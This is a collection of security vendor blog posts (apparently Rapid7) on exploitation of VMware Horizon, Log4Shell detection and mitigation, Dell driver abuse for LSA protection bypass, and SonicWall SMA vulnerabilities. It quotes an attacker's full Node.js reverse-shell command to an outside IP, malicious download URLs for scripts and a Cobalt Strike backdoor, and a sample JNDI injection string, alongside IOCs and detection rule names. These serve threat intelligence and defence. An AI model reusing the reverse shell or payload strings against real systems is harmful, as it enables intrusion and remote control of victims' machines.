http://72.46.52[.]135/mad_micky.bat
http://80.71.158[.]96/xms.ps1
http://101.79.1[.]118/2.ps1
The following is an example PowerShell command from this activity (note that these contents were originally base64 encoded):
The System.Net.WebClient download cradle has also been used by one unknown actor to deploy a reverse shell based on Invoke-WebRev (https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Invoke-WebRev.ps1) from http://87.121.52[.]221:443/dd.ps1. Another actor has used it to download a Cobalt Strike backdoor from http://185.112.83[.]116:8080/drv. This backdoor was created using the trial version of Cobalt Strike, meaning it contains the EICAR anti-virus test string which should be identified by any AV vendor.
One actor attempts to use System.Net.WebClient to download a rudimentary backdoor from http://0.tcp.ngrok[.]io:18765/qs.exe. If this method fails, the PowerShell BitsTransfer object is used as a backup download method. In this instance, the actor is using ngrok[.]io URLs. NGrok is a tool that allows a user to tunnel traffic through a NAT or firewall. The backdoor communicates with http://2.tcp.ngrok[.]io:19969/index.php and will execute PowerShell commands received from that host.
The final method TIDE has observed at Rapid7 customers involves the attacker using the copy of Node included with the VMWare server at C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe. Node is used to execute a small snippet of JavaScript code that establishes a reverse shell to 146.59.130.58:
C:\"Program Files"\VMware\"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(4460, '146.59.130.58', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"
Indicators of compromise (IOC)
The full list of IOCs that TIDE has observed related to this activity is as follows:
72.46.52[.]135
mad_micky.bat
58e22726592ec5ab6ca49eda2fdb7017
80.71.158[.]96
xms.ps1
e397087edf21ad9da907b595691ce15e
101.79.1[.]118
2.ps1
6422ede9aadd1a768cb57fe06c1155ad
87.121.52[.]221
dd.ps1
f7d5a47321e436fe33e03c4dbf29bd92
185.112.83[.]116
drv
00a4e6f11d2dae5146995aa489292677
0.tcp.ngrok[.]io:18765
2.tcp.ngrok[.]io:19969
qs.exe
1fcf790cc9c66794ae93c114c61b412e
146.59.130.58
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
There are many methods InsightVM can use to identify vulnerable software. Which method is best depends on the software and specific vulnerability in question, not to mention variability that comes into play with differing network topologies and Scan Engine deployment strategies. When it comes to a vulnerability like CVE-2021-44228, affecting a software library (Log4j) that is used to build other software products and may not expose its presence in an obvious way, the situation gets even more complicated. For in-depth analysis on the vulnerability and its attack surface area, see AttackerKB.
The intent of this post is to walk InsightVM and Nexpose users through how to best approach detecting exposure to Log4Shell in your environment, while providing some additional detail about how the various checks work under the hood. This post assumes you already have an operational deployment of InsightVM or Nexpose. For additional documentation on scanning for Log4j CVE-2021-44228, take a look at our docs here.
Before (or while) you scan
Even before a vulnerability check has been made available, it can be possible to get a sense of your exposure using InsightVM features such as Query Builder, or Nexpose’s Dynamic Asset Groups. Because we use generic fingerprinting techniques such as querying Linux package managers and enumerating software found in Windows Registry uninstaller keys, the software inventory for assets may include products that are not explicitly supported. Using the search predicate software.productCONTAINSlog4j will show packages on Linux systems that have been installed via package managers such as rpm or dpkg.
An alternative approach to this is using an SQL Query Export using the following query:
SELECT
da.sites AS "Site_Name",
da.ip_address AS "IP_Address",
da.mac_address AS "MAC_Address",
da.host_name AS "DNS_Hostname",
ds.vendor AS "Vendor",
ds.name AS "Software_Name",
ds.family AS "Software_Family",
ds.version AS "Software_Version",
ds.software_class AS "Software_Class"
FROM
dim_asset_software das
JOIN
dim_software ds USING(software_id)
JOIN
dim_asset da ON da.asset_id = das.asset_id
WHERE
ds.software_class like'%'
AND
ds.name ilike '%log4j%'
ORDER BY
ds.name ASC
Authenticated and agent-based assessments
The most reliable way to find vulnerable instances of CVE-2021-44228 on non-Windows machines as of December 13, 2021 is via our authenticated check (check ID: apache-log4j-core-cve-2021-44228), which does a complete filesystem search for JAR files matching log4j-core.*.jar. At this time, the unzip command must be available on systems in order to extract the version from the JAR’s manifest file. An upcoming release (expected December 15) will add the capability to extract the version information from the filename if available.
For the find command to run and locate vulnerable JARs, scans must be configured with root credentials (either directly or via a privilege elevation mechanism) in the Site Configuration interface. There is currently no generic JAR detection available on Windows systems.
This functionality requires product version 6.6.118 or later. For Agent-based assessments, assets must be running version 3.1.2.36 of the Insight Agent or later. Use the Agent Management interface to determine the version of the Agent being used in your environment.
Remote scanning
A remote (unauthenticated) check for CVE-2021-44228 was published in a content release on December 12 9pm ET with Check ID apache-log4j-core-cve-2021-44228-remote. This check is platform-independent (and currently the only option for Windows systems) and works as follows:
IF any of the following TCP ports are found open: 80, 443, 8080, 8888 — or, alternatively, if: Nmap service fingerprinting detects HTTP or HTTPS running (note that enabling Nmap service fingerprinting may negatively impact scan times)
THEN the Scan Engine will attempt to exploit the vulnerability and make the scan target open a connection to the Engine on port 13456.
The Engine does not open a TCP listener but does a packet capture to identify connection attempts against 13456/TCP. If a connection attempt to the Engine is detected, this indicates that the target is vulnerable, and the check will fire accordingly.
This approach relies on bi-directional networking and requires the scan engine and scan target to be able to “talk” to each other. In some cases, such as scanning through a VPN, NAT, or firewall, that required bi-directional networking is not available.
Note: We have received some reports of the remote check not being installed correctly when taking a content update. Product version 6.6.119 was released on December 13, 2021 at 6 PM EST to ensure the remote check is available and functional.
Product-based checks
We know that many downstream vendors will issue security advisories of their own in the coming days and weeks. We continue to monitor several vendors for related security advisories. We will have checks for affected products included in our recurring coverage list as vendors provide details about affected and/or fixed versions. Users can also adapt the Query Builder or SQL Export queries provided above to find products of concern in the meantime, with the caveat that they may not be visible if they use non-standard installation mechanisms.
Container security
Customers who are worried about vulnerable images in their container repos have been able to scan for CVE-2021-44228 using InsightVM’s Container Security since December 10 at 2pm ET, thanks to our integration with the Snyk vulnerability database. It is also possible to rerun an assessment on any images that are particularly sensitive to be sure of up-to-date results.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Like the rest of the security community, we have been internally responding to the critical remote code execution vulnerability in Apache’s log4j Java library (a.k.a. Log4Shell). We have been continuously monitoring for Log4Shell exploit attempts in our environment and have been urgently investigating the implications for our corporate and production systems. Log4Shell has kept the security community extremely busy for the past several days, and we are no exception. At this time, we have not detected any successful Log4Shell exploit attempts in our systems or solutions. We will continue monitoring our environment for new vulnerability instances and exploit attempts and will update this page as we learn more.
Rapid7 solutions
In terms of Rapid7’s solutions, we prioritized remediation efforts on the Insight Platform and other hosted web application products (e.g. non-Insight branded products such as Logentries). We have remediated the Log4Shell vulnerability in our deployed application services’ code. Customers do not need to take action for any of our hosted web solutions.
Customer action required
There is no action for most customers using our solutions. However, for those using on-premise solutions, the following products and product components have been patched but require customers to take action to fully remediate Log4Shell in their environments. We strongly urge all customers using vulnerable versions of these products and product components to apply updates immediately since this vulnerability is being actively exploited and could result in highly impactful remote code execution.
We have confirmed the following on-premise products and product components are not affected:
Alcide kArt, kAdvisor, and kAudit
AppSpider Pro
AppSpider Enterprise
Insight Agent
InsightIDR Network Sensor
InsightIDR/InsightOps Collector & Event Sources
InsightAppSec Scan Engine
InsightCloudSec/DivvyCloud
InsightConnect Orchestrator
InsightOps non-Java logging libraries
InsightVM Kubernetes Monitor
InsightVM/Nexpose
InsightVM/Nexpose Console
InsightVM/Nexpose Engine
IntSights virtual appliance
Metasploit Pro
Metasploit Pro ships with log4j but has specific configurations applied to it that mitigate Log4Shell. A future update will contain a fully patched version of log4j.
Metasploit Framework
tCell Java Agent
Velociraptor
Further reading and recommendations
Our Emerging Threat Response team has put together a detailed blog post about general guidance about how to mitigate and remediate Log4Shell. We will continue updating this post as we learn more about Log4Shell and new mitigation strategies and tactics.
“People that write Ring 0 code and write it badly are a danger to society.” – Mickey Shkatov
There is no security boundary between an administrator and the Windows kernel, according to the Microsoft Security Servicing Criteria for Windows. In our analysis of CVE-2021-21551, a write-what-where vulnerability (see CWE-123) in a Dell driver, we found that Dell’s update didn’t fix the write-what-where condition but only limited access to administrative users. According to Microsoft’s definition of security boundaries, Dell’s fix removed the security issue. However, the partially fixed driver can still help attackers.
There’s an attack technique called Bring Your Own Vulnerable Driver (BYOVD). In this attack, an adversary with administrative privileges installs a legitimately signed driver on the victim system. The legitimate driver has a vulnerability that the attacker exploits to gain ring 0 access. Access to ring 0 allows the attacker to subvert or disable security mechanisms and allows them to hide deeper in the system.
Known usage in the wild
BYOVD is a common technique used by advanced adversaries and opportunistic attackers alike. To illustrate this, the following table is a non-exhaustive list of well-known advisories/malware that use the BYOVD tactic, the associated vulnerable driver, and the associated vulnerability where applicable or known.
We believe that attacks or exploits that are actually used in the wild are, practically by definition, worthwhile for attackers. The table above illustrates that BYOVD is a valuable technique. Given these bad drivers’ wide use in the wild, it would be beneficial for the security community to identify exploitable drivers and minimize or block their use.
Use cases
Those unfamiliar with BYOVD are probably wondering why these attackers are doing this. By far, the number one reason adversaries are using BYOVD is to bypass Windows Driver Signature Enforcement (DSE). DSE ensures that only signed kernel drivers can be loaded. By installing and exploiting a vulnerable driver, attackers can load their own unsigned malicious drivers.
There are a number of open-source exploits that demonstrate loading unsigned drivers via BYOVD. These four are some of the most well-known:
Stryker (using cpuz141.sys with CVE-2017-15303 and process explorer)
Each of these tools is authored by the same individual, hfiref0x. Stryker, DSEFix, and TDL are all deprecated or in read-only mode. Notably Stryker and DSEFix run afoul of PatchGuard and are no longer suitable for most situations. KDU, a tool that supports more than 14 different vulnerable drivers as the “provider,” is the unsigned driver loader of choice.
The Dell drivers discussed below should be able to facilitate these types of attacks. Connor McGarrdemonstrated Dell’s dbutil_2_3.sys (which is vulnerable to CVE-2021-21551) can be used to execute attacker code in kernel mode. Because the write-what-where condition persists in the follow-on drivers, dbutildrv2.sys 2.5 and 2.7, Dell has delivered three unique signed drivers that can execute attacker code in kernel mode.
The previously mentioned attacks largely focused on executing code in kernel mode. However, BYOVD also enables a simpler data-oriented attack that allows the attacker to subvert LSA protection.
LSA protection prevents non-protected processes from reading the memory of, or injecting code into, Windows’ Local Security Authority Subsystem Service (lsass.exe). That means tools like Mimikatz can’t dump the memory contents of lsass.exe in order to retrieve Windows account credentials. However, an attacker with ring 0 access can reach into the lsass.exe EPROCESS struct and simply mask out the LSA protection. Once masked out, the attacker is free to dump lsass.exe’s memory. There are a couple of good open-source implementations of this: mimidrv (a signed driver that is part of mimikatz) and PPLKiller (uses RTCore64.sys).
Exploitation using the Dell drivers
We’ve developed a Metasploit module that implements the LSA protection attack using the new Dell drivers (dbutildrv2.sys 2.5 and 2.7). An attacker with escalated privileges can use the module to enable or disable process protection on arbitrary PID. The following proof-of-concept video demonstrates unprotecting lsass.exe and dumping memory from metasploit.
While old drivers like vboxdrv.sys / CVE-2008-3431 are finally becoming obsolete — 13 years is a pretty good run for any vulnerability — the Dell drivers are appearing in time to take their place. And the likelihood of the Dell drivers being blacklisted is low. The drivers are used for updating firmware across a large number of products. Preventing users from updating their computers’ firmware via driver blacklist is a non-starter.
While conducting this research, Rapid7 did reach out to Dell about this issue. They stated the following:
After careful consideration with the product team, we have categorized this issue as a weakness and not a vulnerability due to the privilege level required to carry out an attack. This is in alignment with the guidance provided in the Windows Driver Model. We are not planning on releasing a security advisory or issuing a CVE on this.
Other exploitation in the wild
Of course, we are not the first to use the Dell drivers in a malicious manner. As we noted in our AttackerKB analysis, dbutil_2_3.sys can be found associated with malware on VirusTotal. The newer versions of the driver, dbutildrv2.sys version 2.5 and 2.7, haven’t appeared to be used maliciously yet. However, we do note a fair amount of other activity associated with BYOVD-related drivers that haven’t yet been mentioned in this write up:
The point is that this is a fairly active and perhaps under-reported technique. It seems only the most well-known vulnerable drivers are flagged by AV. Even a well-known driver like the gdrv.sys isn’t flagged.
vboxdrv.sys vs. gdrive.sys
At what point should these legitimate drivers be flagged by AV? I posit that once a driver is distributed via Discord, it might be time to start flagging it as badware.
Detection and mitigation guidance
Perhaps the best way to protect your systems is to utilize Microsoft’s driver block rules. The list is full of known bad drivers and, if used correctly, will allow you to block the driver from being loaded. Of course, this only protects you from known vulnerable drivers that Microsoft adds to this list, but it’s better than nothing. The Dell drivers are not currently in the list, but Dell has indicated they are working with Microsoft to add dbutil_2_3.sys. However, as discussed earlier, the newer versions are unlikely to ever get added. Detecting the Dell drivers through your preferred EDR solution might be an alternative solution. The SHA-1 hashes are:
dbutil_2_3.sys
c948ae14761095e4d76b55d9de86412258be7afd
dbutildrv2.sys (2.5)
90a76945fd2fa45fab2b7bcfdaf6563595f94891
dbutildrv2.sys (2.7)
b03b1996a40bfea72e4584b82f6b845c503a9748
If you are able to enable Hypervisor-Protected Code Integrity (HVCI) then you should absolutely do so. And, of course, you should have secure boot enabled at the very least.
IVM authenticated and remote content available as of December 12, 2021. Container Security assessment available as of December 10, 2021.
Immediately (emergency)
December 12, 2021 9:38pm ET
On December 10, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.
CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.
A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.
Affected versions
According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.
Mitigation and detection guidance
Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.
According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0.
In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.
Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.
Rapid7 has released an authenticated vulnerability check with identifier apache-log4j-core-cve-2021-44228 via a content update on December 12, 2021. This authenticated check uses the find command on Unix-like systems to identify vulnerable versions of the Log4j JAR files.
Please note that this new check will require the Security Console and Scan Engine to be updated to version 6.6.118, also released on December 12, and will not be functional with the content-only release. This will require Consoles and Engines to be restarted.
A remote check is also available as of 9 PM EST December 12, 2021 with Check ID apache-log4j-core-cve-2021-44228-remote. This check runs during network scans and will attempt to trigger a connection back to the Scan Engine in order to determine vulnerable status. This check is platform-independent, targeting Windows, Linux, and other operating systems.
We have also begun roll-out of Insight Agent version 3.1.2.36, which includes collection support for Log4j JAR files. This means vulnerability assessments of the authenticated check for CVE-2021-44228 will work for Agent-enabled systems that take the new version. Customers relying on the Insight Agent for vulnerability management may want to consider setting the Throttle level to High (which is the default) to ensure updates are applied as quickly as possible.
InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library.
InsightIDR and Managed Detection and Response
Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.
[Update: December 10, 2021 3:30pm ET]
Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
Attacker Technique – Curl or Wget To Public IP Address With Non Standard Port
Suspicious Process – Curl or WGet Pipes Output to Shell
We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
Suspicious Process – Curl to External IP Address
[Update: December 10, 2021 7:00pm ET]
An additional rule has been deployed:
Attacker Technique – Curl Or WGet To External IP Reporting Server IP In URL
Velociraptor
A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability. A second Velociraptor artifact that looks for certain known-vulnerable JAR files was also added on December 12, 2021.
tCell
You can enable partial protection by following these two steps:
The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. Customers can use the context and enrichment of ICS to identify instances which are exposed to the public or attached to critical resources.
Applying two Insight filters — Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell — will enable identification of publicly exposed vulnerable assets and applications.
InsightCloudSec Filters for Log4J/Log4Shell VulnerabilitiesResults of applying the filter to the asset inventory (in this case no assets are vulnerable)
[December 11, 2021, 11:15am ET]
Added additional resources for reference and minor clarifications.
[December 11, 2021, 4:30pm ET]
VMware has published an advisory listing 30 different VMware products vulnerable to CVE-2021-44228, including vCenter Server, Horizon, Spring Cloud, Workspace ONE Access, vRealize Operations Manager, and Identity Manager. Their response matrix lists available workarounds and patches, though most are pending as of December 11.
Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released.
[December 11, 2021, 10:00pm ET] Apache Struts 2 Vulnerable to CVE-2021-44228
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the Struts 2 class DefaultStaticContentLoader. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228;
given the default static content, basically all Struts implementations should be trivially vulnerable. Rapid7’s vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB.
[December 12, 2021, 2:20pm ET]
InsightVM and Nexpose customers can now assess their exposure to CVE-2021-44228 with an authenticated vulnerability check. Note that this check requires that customers update their product version and restart their console and engine. See the Rapid7 customers section for details.
[December 13, 2021, 10:30 ET]
Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On December 7, 2021, Sonicwall released a security advisory that includes patching guidance for five vulnerabilities in SonicWall SMA 100 series devices that were discovered by Rapid7 (including CVE-2021-20038 which is rated CVSSv3 9.8, critical), as well as several other CVEs discovered by NCC Group. While exploitation has not yet started for these vulnerabilities, SonicWall “strongly urges” organizations to apply the appropriate patches.
From Sonicwall’s advisory:
Issue ID
Summary
CVE
CVSS
Reporting Party
Impacted Versions
SMA-3217
Unauthenticated Stack-Based Buffer Overflow
CVE-2021-20038
9.8
Rapid7
10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv
SMA-3204
Authenticated Command Injection
CVE-2021-20039
7.2
Rapid7
9.0.0.11-31sv, 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3206
Unauthenticated File Upload Path Traversal
CVE-2021-20040
6.5
Rapid7, NCCGroup
10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3207
Unauthenticated CPU Exhaustion
CVE-2021-20041
7.5
Rapid7
9.0.0.11-31sv, 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3208
Unauthenticated Confused Deputy
CVE-2021-20042
6.3
Rapid7
9.0.0.11-31sv, 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3231
Heap-Based Buffer Overflow
CVE-2021-20043
8.8
NCCGroup
10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3233
Post-Authentication Remote Command Execution
CVE-2021-20044
7.2
NCCGroup
10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3235
Multiple Unauthenticated Heap-Based and Stack Based Buffer Overflow
CVE-2021-20045
9.4
NCCGroup
10.2.0.8-37sv, 10.2.1.1-19sv
Affected versions
The issues listed above impact SMA 100 series appliances (SMA 200, 210, 400, 410, 500v).
Full disclosure scheduled for January 2022
Rapid7 will release the technical details and proof-of-concept code in January 2022 as part of our coordinated vulnerability disclosure process.
Guidance
As with all critical, network-edge appliances, Rapid7 recommends that vulnerabilities be patched immediately. SonicWall devices have previously been exploited at scale in 2021 and are generally high-value targets for attackers. Sonicwall does not list any workarounds for these issues. For more information, see SonicWall’s advisory.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to all eight of the CVEs in this advisory with vulnerability checks in the December 7, 2021 content release.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
